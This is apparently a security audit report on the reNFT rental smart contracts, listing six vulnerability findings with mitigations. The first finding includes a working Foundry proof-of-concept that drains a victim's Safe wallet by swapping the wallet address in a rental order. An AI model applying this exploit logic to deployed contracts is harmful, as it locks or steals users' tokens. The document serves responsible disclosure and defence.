reNFT - KupiaSec's results

Lines of code

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/packages/Signer.sol#L162-L195

Vulnerability details

Impact

A lender can specify any Safe wallet address under reNFT's control when stopping a rent, thus he can reclaim his assets from another Safe wallet preventing others to stop their rents. The issue applies to any order with ERC1155 offers included.

Here's a scenario that shows how the attack works:

1. A game player Alice borrows ERC1155 tokens from multiple lenders into his Safe wallet. e.g. Bob lends 100 ERC1155 tokens to Alice, Carol lends 50 ERC1155 tokens to Alice.
2. Eve, a devil, sees Alice's safe wallet, then generate an order to lend 150 ERC1155 tokens to himself for a very short period.
3. After the short period ends, Eve terminates his rent by specifying Alice's safe wallet and receives his assets back.
4. Later when Bob and Carol tries to terminate their rents, the transactions revert because Alice's safe wallet is empty.
5. As a result, Bob and Carol's offered assets and Alice's consideration assets are locked into the safe wallet.

When the attack happens, there can be a few different impacts:

1. If a lender only lent the affected assets, he can retrieve his ERC1155 back by specifying Eve's Safe wallet.
2. If a lender lent multiple assets to a renter, the assets can't be retrieved and stuck on the safe wallet contract.

In addition, hooks logic will be broken.

Proof of Concept

The RentalOrder struct is used both in creating and stopping a rent, and a hash is generated from the data to indicate the unique ID of an order. However, the renter's safe wallet is not included in hash calculation, thus a lender can modify the data to specify any Safe wallet when trying to stop a rent.

Here's a test case written in Foundry that shows the vulnerability.

function test_StopRentOthers() public {
    Order memory order;
    bytes32 orderHash;
    OrderMetadata memory metadata;

    /**
        * Alice borrows ERC1155 token from Bob and Carol
        */
    createOrder({
        offerer: bob,
        orderType: OrderType.BASE,
        erc721Offers: 0,
        erc1155Offers: 1,
        erc20Offers: 0,
        erc721Considerations: 0,
        erc1155Considerations: 0,
        erc20Considerations: 1
    });
    (order, orderHash, metadata) = finalizeOrder();
    createOrderFulfillment({
        _fulfiller: alice,
        order: order,
        orderHash: orderHash,
        metadata: metadata
    });
    RentalOrder memory rentalOrderBob = finalizeBaseOrderFulfillment();

    createOrder({
        offerer: carol,
        orderType: OrderType.BASE,
        erc721Offers: 0,
        erc1155Offers: 1,
        erc20Offers: 0,
        erc721Considerations: 0,
        erc1155Considerations: 0,
        erc20Considerations: 1
    });
    (order, orderHash, metadata) = finalizeOrder();
    createOrderFulfillment({
        _fulfiller: alice,
        order: order,
        orderHash: orderHash,
        metadata: metadata
    });
    RentalOrder memory rentalOrderCarol = finalizeBaseOrderFulfillment();

    /**
        * Eve borrows ERC1155 from himself
        */
    
    mintMany = true;
    createOrder({
        offerer: eve,
        orderType: OrderType.BASE,
        erc721Offers: 0,
        erc1155Offers: 1,
        erc20Offers: 0,
        erc721Considerations: 0,
        erc1155Considerations: 0,
        erc20Considerations: 1
    });
    (order, orderHash, metadata) = finalizeOrder();
    createOrderFulfillment({
        _fulfiller: eve,
        order: order,
        orderHash: orderHash,
        metadata: metadata
    });
    RentalOrder memory rentalOrderEve = finalizeBaseOrderFulfillment();
    mintMany = false;

    // Forward timestamp so that the rent expires
    vm.warp(block.timestamp + 750);

    // Eve stops the rent with Alice's safe wallet
    rentalOrderEve.rentalWallet = address(alice.safe);
    vm.prank(eve.addr);
    stop.stopRent(rentalOrderEve);
    vm.stopPrank();

    // Eve has all his assets back
    assertEq(erc1155s[0].balanceOf(eve.addr, 0), 200);
    assertEq(erc20s[0].balanceOf(eve.addr), 10000);

    // Alice's safe wallet is empty
    assertEq(erc1155s[0].balanceOf(address(alice.safe), 0), 0);

    // Bob and Carol fails to stop their rent
    vm.prank(bob.addr);
    vm.expectRevert();
    stop.stopRent(rentalOrderBob);
    vm.stopPrank();

    vm.prank(carol.addr);
    vm.expectRevert();
    stop.stopRent(rentalOrderCarol);
    vm.stopPrank();
}

To make this test work, it's required to modify a few test contracts as follows: https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/test/mocks/tokens/standard/MockERC1155.sol#L20-L23

function mint(address to, uint256 amount) public {
    _mint(to, _tokenIds, amount, "");
    // _tokenIds++; <-- comment out increasing tokenId, this is to mint same token ID(0) for testing.
}

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/test/fixtures/engine/OrderCreator.sol#L167-L184

for (uint256 i = 0; i < erc1155Offers; ++i) {
    // create the offer item
    orderToCreate.offerItems.push(
        OfferItemLib
            .empty()
            .withItemType(ItemType.ERC1155)
            .withToken(address(erc1155s[i]))
            .withIdentifierOrCriteria(usedOfferERC1155s[i])
            .withStartAmount(mintMany ? 200 : 100) // <-- Control mint amount using newly added bool storage `mintMany`
            .withEndAmount(mintMany ? 200 : 100) // <-- Control mint amount
    );

    // mint an erc1155 to the offerer
    erc1155s[i].mint(orderToCreate.offerer.addr, mintMany ? 200 : 100); <-- Control mint amount

    // update the used token so it cannot be used again in the same test
    // usedOfferERC1155s[i]++; <-- Comment out not to increase next token ID, this is to mint same token ID(0) for testing.
}

The result of running test:

Running 1 test for test/integration/StopRent.t.sol:TestStopRent
[PASS] test_StopRentOthers() (gas: 4247872)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 15.91ms
 
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

Manual Review, Foundry

Recommended Mitigation Steps

Renter's safe wallet has to be included in hash calculation of rent order.

keccak256(
    abi.encode(
        _RENTAL_ORDER_TYPEHASH,
        order.seaportOrderHash,
        keccak256(abi.encodePacked(itemHashes)),
        keccak256(abi.encodePacked(hookHashes)),
        order.orderType,
        order.lender,
        order.renter,
        order.renterWallet, // <-- Add this line
        order.startTimestamp,
        order.endTimestamp
    )
);

Assessed type

DoS

Lines of code

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/policies/Guard.sol#L235-L242

Vulnerability details

Impact

The Safe Wallet owner(game player) will not be able to transfer ERC1155 tokens from external wallet into Safe Wallet.

Proof of Concept

} else if (selector == e1155_safe_transfer_from_selector) {
    // Load the token ID from calldata.
    uint256 tokenId = uint256(
        _loadValueFromCalldata(data, e1155_safe_transfer_from_token_id_offset)
    );

    // Check if the selector is allowed.
    _revertSelectorOnActiveRental(selector, from, to, tokenId);

For ERC1155 tokens, it checks if tokenId is a rented one, regardless of who the from is.

Considering a scenario where a game player has 100 amount of ERC1155 tokens but to participate in a specific campaign or tournaments, he needs to own at least 200 amount of ERC1155 tokens. In that case, the game player would borrow missing 100 amount from marketplace, and by adding 100 amount of tokens he already owns, he can participate in the game.

However, based on the guard implementation above, he can't transfer the tokens he already own into his Safe Wallet.

Tools Used

Manual Review

Recommended Mitigation Steps

For ERC1155 tokens, from address has to be checked instead of tokenId being moved. If from is the Safe Wallet, the transaction should revert.

Assessed type

Context

Lines of code

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/policies/Guard.sol#L195

Vulnerability details

Impact

Borrowed tokens might be lost if they are burnt by Safe Wallet owner.

Proof of Concept

Most of ERC721 and ERC1155 token implementations include features of burning tokens. Abusing this feature/vulnerability, a malicious borrower might execute a transaction to burn borrowed tokens. As a result, the lender will not be able to retrieve their tokens back.

Tools Used

Manual Review

Recommended Mitigation Steps

At least, common burn selector has to be checked in Guard contract. Other forms of burnings would be considered as Known Issue.

Assessed type

DoS

Lines of code

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/policies/Guard.sol#L329-L331

Vulnerability details

Impact

Game players might receive rewards in native tokens by playing games using borrowed NFTs, but they are not able to move those native tokens out of the Safe Wallet, thus funds are stuck in the contract.

Proof of Concept

In Guard contract, it checks out if data has selector in it, but when a transaction that transfers native tokens, data is empty. As a result, the transaction is reverted:

if (data.length < 4) {
    revert Errors.GuardPolicy_FunctionSelectorRequired();
}

Here's a test case that fails to transfer native tokens:

function testNativeTransferFromSafe() public {
    bytes memory signatures = abi.encodePacked(uint256(uint160(bob.addr)), uint256(0), uint8(1));

    vm.deal(address(bob.safe), 1 ether);
    vm.prank(bob.addr);
    vm.expectRevert();
    bob.safe.execTransaction(bob.addr, 1 ether, new bytes(0), Enum.Operation.Call, 0, 0, 0, address(0), payable(bob.addr), signatures);
    vm.stopPrank();
}

Output of running test:

Running 1 test for test/integration/Rent.t.sol:TestRent
[PASS] testNativeTransferFromSafe() (gas: 61865)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 9.94ms
 
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

Manual Review, Foundry

Recommended Mitigation Steps

The Guard contract should allow empty data, especially when value is not zero.

if (data.length < 4 && (data.length > 0 || value == 0)) {
    revert Errors.GuardPolicy_FunctionSelectorRequired();
}

Assessed type

Context

Lines of code

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/packages/Signer.sol#L394-L400

Vulnerability details

Impact

According to the EIP-712, If the struct type references other struct types (and these in turn reference even more struct types), then the set of referenced struct types is collected, sorted by name and appended to the encoding. (For more details, see here) But calculation for rentPayloadTypeHash deviates from EIP-712, leading to incorrect calculation for signer address in Create.ValdiateOrder function and the function will revert

Proof of Concept

In validateOrder function of Create contract, the signer address is recorvered from payload decoded from zoneParams.extraData.

    function validateOrder(
        ZoneParameters calldata zoneParams
    ) external override onlyRole("SEAPORT") returns (bytes4 validOrderMagicValue) {
        // Decode the signed rental zone payload from the extra data.
        (RentPayload memory payload, bytes memory signature) = abi.decode( //@audit decode paylaod
            zoneParams.extraData,
            (RentPayload, bytes)
        );

        // Create a payload of seaport data.
        [...]

        // Recover the signer from the payload.
        address signer = _recoverSignerFromPayload( //@audit recover signer address
            _deriveRentPayloadHash(payload), //@audit rent payload hash
            signature
        );

        // Check: The data matches the signature and that the protocol signer is the one that signed.
        if (!kernel.hasRole(signer, toRole("CREATE_SIGNER"))) {
            revert Errors.CreatePolicy_UnauthorizedCreatePolicySigner();
        }

        // Initiate the rental using the rental manager.
        _rentFromZone(payload, seaportPayload);

        // Return the selector of validateOrder as the magic value.
        validOrderMagicValue = ZoneInterface.validateOrder.selector;
    }

To recover signer address, we have to get rent payload hash first using the payload decoded above as input parameter of _deriveRentPayloadHash function.

    function _deriveRentPayloadHash(
        RentPayload memory payload
    ) internal view returns (bytes32) {
        // Derive and return the rent payload hash as specified by EIP-712.
        return
            keccak256(
                abi.encode(
                    _RENT_PAYLOAD_TYPEHASH, //@audit order mismatch
                    _deriveOrderFulfillmentHash(payload.fulfillment),
                    _deriveOrderMetadataHash(payload.metadata),
                    payload.expiration,
                    payload.intendedFulfiller
                )
            );
    }

However _RENT_PAYLOAD_TYPEHASH is not following the EIP-712 standard and there is a mismatch of order in the way using the order fulfillment typehash and order metadata typehash.

    
    constructor() {
        // Derive name, version, and EIP-712 typehashes.
        [...]
        // Derive name and version hashes alongside required EIP-712 typehashes.
        (
            _ITEM_TYPEHASH,
            _HOOK_TYPEHASH,
            _RENTAL_ORDER_TYPEHASH,
            _ORDER_FULFILLMENT_TYPEHASH,
            _ORDER_METADATA_TYPEHASH,
            _RENT_PAYLOAD_TYPEHASH //@audit get _RENT_PAYLOAD_TYPEHASH from _deriveRentalTypehashes
        ) = _deriveRentalTypehashes();

        // Store the current chainId and derive the current domain separator.
        _CHAIN_ID = block.chainid;
    }
    
    function _deriveRentalTypehashes()
        internal
        pure
        returns (
            bytes32 itemTypeHash,
            bytes32 hookTypeHash,
            bytes32 rentalOrderTypeHash,
            bytes32 orderFulfillmentTypeHash,
            bytes32 orderMetadataTypeHash,
            bytes32 rentPayloadTypeHash
        )
    {
        // ..

        {
            // Construct the OrderFulfillment type string.
            bytes memory orderFulfillmentTypeString = abi.encodePacked(
                "OrderFulfillment(address recipient)"
            );

            // Construct the OrderMetadata type string.
            bytes memory orderMetadataTypeString = abi.encodePacked(
                "OrderMetadata(uint8 orderType,uint256 rentDuration,Hook[] hooks,bytes emittedExtraData)"
            );

            // Construct the RentPayload type string.
            bytes memory rentPayloadTypeString = abi.encodePacked(
                "RentPayload(OrderFulfillment fulfillment,OrderMetadata metadata,uint256 expiration,address intendedFulfiller)"
            );

            // Derive RentPayload type hash via combination of relevant type strings.
394         rentPayloadTypeHash = keccak256(
                abi.encodePacked(
                    rentPayloadTypeString,
                    orderMetadataTypeString, //@audit not following EIP-712, order mismatch here
                    orderFulfillmentTypeString
                )
            );
            
            // ..
        }
    }

EIP-712 standard for encodeType specifies as follows,

If the struct type references other struct types, then the set of referenced struct types is sorted by name and appended to the encoding. This means when we get rentPayloadTypeHash at L394, orderFulfillmentTypeString should be packed first rather than orderMetadataTypeString.

In _deriveRentPayloadHash function, they are in correct order as specified in EIP-712 and there exists a mismatch of order between _deriveRentPayloadHash function and _deriveRentalTypehashes. And this will lead to incorrect calculation for payload and afterwards affects the calculation for signer address in _recoverSignerFromPayload function

    function _recoverSignerFromPayload(
        bytes32 payloadHash,
        bytes memory signature
    ) internal view returns (address) {
        // Derive original EIP-712 digest using domain separator and order hash.
        bytes32 digest = _DOMAIN_SEPARATOR.toTypedDataHash(payloadHash);

        // Recover the signer address of the signature.
        return digest.recover(signature);
    }

Tools Used

Manual Review

Recommended Mitigation Steps

Should follow EIP-712 correctly in _deriveRentalTypehashes function

    rentPayloadTypeHash = keccak256(
        abi.encodePacked(
            rentPayloadTypeString,
+           orderFulfillmentTypeString,
            orderMetadataTypeString,
-           orderFulfillmentTypeString
        )
    );

Assessed type

en/de-code

Lines of code

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/modules/PaymentEscrow.sol#L132-L146

Vulnerability details

Impact

In PAY/PAYEE order, borrowed NFTs will be stuck in the borrower's Safe Wallet, preventing the lender from stopping the rent. As a result, the borrower can use the NFT forever.

Proof of Concept

There are ERC20 tokens like USDC that has blacklisting functionality. By abusing this feature, a malicious behavior will generate PAY/PAYEE order to borrow NFTs into his Safe Wallet.

When the rent expires, the lender tries to stop the rent, thus settling payment to borrower's wallet. However the borrower's wallet is blacklisted, so the transation will revert and the lender will not be able to retrieve his NFTs back.

Tools Used

Manual Review

Recommended Mitigation Steps

There should be a logic that handles reverts from transfering ERC20 tokens. One of mitigation would be: If ERC20 transfer fails, it increases the unclamed value for the address so that it can be re-claimed later.

Assessed type

DoS